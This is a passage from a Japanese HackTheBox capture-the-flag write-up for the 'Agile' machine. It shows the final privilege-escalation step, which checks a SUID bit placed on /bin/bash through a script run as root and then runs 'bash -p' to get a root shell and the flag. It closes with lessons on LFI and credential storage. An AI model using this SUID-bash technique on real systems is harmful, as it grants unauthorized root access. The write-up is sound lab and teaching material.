        PATH="${_OLD_VIRTUAL_PATH:-}"
        export PATH
        unset _OLD_VIRTUAL_PATH
    fi
    if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
        PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
        export PYTHONHOME
        unset _OLD_VIRTUAL_PYTHONHOME
    fi
```
入力できたら、保存して終了します。
あとは、少し時間をおいてスクリプトが実行されるのを待ちましょう！

## rootとしてのシェル

それでは、SUIDが付与できたか見てみましょう。
```bash
edwards@agile:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1396520 Jan  6  2022 /bin/bash
```
付与されています！
では、あとはbashを実行するだけです！
```bash
edwards@agile:~$ bash -p
edwards@agile:~# whoami
root
```
権限昇格成功です！
```bash
edwards@agile:/root# ls -l
total 20
drwxr-xr-x 5 root root 4096 Feb  8 16:29 app
-rwxr-xr-x 1 root root   31 Jan 25  2023 clean.sh
-rw-r----- 1 root root   33 Aug  4 01:48 root.txt
-rw-r--r-- 1 root root 2293 Feb 28 16:50 superpass.sql
-rw-r--r-- 1 root root 3274 Feb  6 17:06 testdb.sql
```
フラグも取得し、完全攻略達成です！

### 攻略を終えて

攻略を終えた正直な感想としては、「難しすぎる」ということです。とくに正しい値のPINを生成するフェーズは一度攻略を中断するレベルで、生成に成功したときは泣きたいほど喜んだことを覚えています笑
こんなに難しかったにも関わらず、グラフが普通の難易度であるのは、恐らくですがIDORのパッチが適用される前に認証情報を取得してしまった人が多いからだと思います。確かに修正が入る前のAgileはPINを生成せずに攻略できるので、一段階と言わず二段階ほどレベルが落ちる気がします。絶望との闘いでしたが、試せるところを諦めずに試し続けたことが攻略につながったのかなと思います。
今回のマシンの最初の入り口としては、LFIになります。やはりLFIにより非公開であるはずの情報が見られてしまうというのは大きな被害につながるので、開発段階から十分に気を付ける必要がありますね。また、今回はMySQLにアクセスし認証情報を取得できたことで横移動が可能となりました。MySQLの認証情報は仕方がないとしても、DBに保存する認証情報は暗号化を行うなど随所でのセキュリティ対策を意識する必要がありそうです。
今後もHackTheBoxのWriteUpを投稿するので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました～！